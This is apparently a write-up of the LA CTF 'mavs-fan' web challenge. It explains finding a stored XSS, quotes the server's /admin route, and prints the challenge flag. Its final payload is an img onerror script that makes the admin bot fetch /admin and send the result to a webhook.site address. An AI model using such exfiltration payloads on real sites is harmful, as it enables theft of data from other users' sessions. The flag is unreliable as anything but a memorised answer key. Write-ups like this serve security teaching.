mavs-fan
Background
Just a Mavs fan trying to figure out what Nico Harrison cooking up for my team nowadays…
Hint - You can send a link to your post that the admin bot will visit. Note that the admin cookie is HttpOnly!
Site - mavs-fan.chall.lac.tf
Admin Bot - https://admin-bot.lac.tf/mavs-fan

- Difficulty: Easy
- This challenge has source code: mavs-fan.zip
Enumeration
Index page:

In this page, we have an input field and this challenge has an admin bot, so it's could be an client-side vulnerability. But first I will give it some input to see how it processes:

Click Send Message and it will redirect us to another page, which contains a post and our input:

Okay, so I will try to exploit XSS by giving it a simple payload for testing XSS <script>alert(1)</script>, click Send Message:

Hmm, it seems like my payload doesn't work. I will inspect this page to see if it has filtered my payload:

Oh, my payload is still on the page and it seems not to be sanitized. So the payload may be successfully executed but the backend somehow handles it so it won't show to the client. Then I will test a payload with img tag to see if it's executed before looking through the source code. My payload: <img src=x onerror="alert(1)"/>.
Explain about the payload:
- We will use the
imgtag withsrcattribute andonerrorattribute. - The
src=xwill cause an error because thexdoesn't exist, and when an error appears, theonerror="alert(1)"get executed.
The result when I send the payload:

The payload works! Now, I need to look for the source code to see where and how I can read the flag.
Reading the source code, Idk why the
scripttag can't be executed cause I see no filter apllied on our input, maybe the web page has WAF which blocks thescripttag or am I missing something???
In app.js, we can see that the flag is located at the endpoint /admin:
[...]
app.get('/admin', (req, res) => {
if (!req.cookies.secret || req.cookies.secret !== ADMIN_SECRET) {
return res.redirect("/");
}
return res.json({ trade_plan: FLAG });
});
[...]
To read the flag, we need the cookie of the admin and we have the admin bot!.
Exploitation
So, the idea is:
- We let the admin bot read the content of endpoint
/admin - We will make the bot send the content to our domain ( I will use webhooks.site ), so we can read the flag!
This is my payload for this challenge: <img src="x" onerror="fetch('https://mavs-fan.chall.lac.tf/admin') .then(res => res.text()) .then(data => { fetch('https://webhook.site/273fb9ed-bb43-424f-b0b9-ceed3f8c3d22/?d='+encodeURIComponent(data)); });" />.
Explain about the payload:
- First, we will use
imgtag to execute XSS which I've explained above. - When the
onerroris loaded, we will make the bot read the content of the endpoint/adminthroughfetch(). - Then, we will use
then()to handle the data, the content of the endpoint/adminwill be assigned toresand then it can be read throughres.text(). - Next, we will use
then()again and assignres.text()todataand make the bot send thedatato our webhook throughdparameter withfetch(). (Remember to useencodeURIComponent()if you want to dynamically assemble string values into a URL)
Back to the exploitation, we will save this payload to a post like we did before:

Next, we will send the url to our post to the admin bot, so it will read the post and then the payload will be executed:

Click Submit and we should receive the flag on our webhook:

- Flag:
lactf{m4yb3_w3_sh0u1d_tr4d3_1uk4_f0r_4d}
Conclusion
What we've learned:
- Cross-site Scripting (XSS)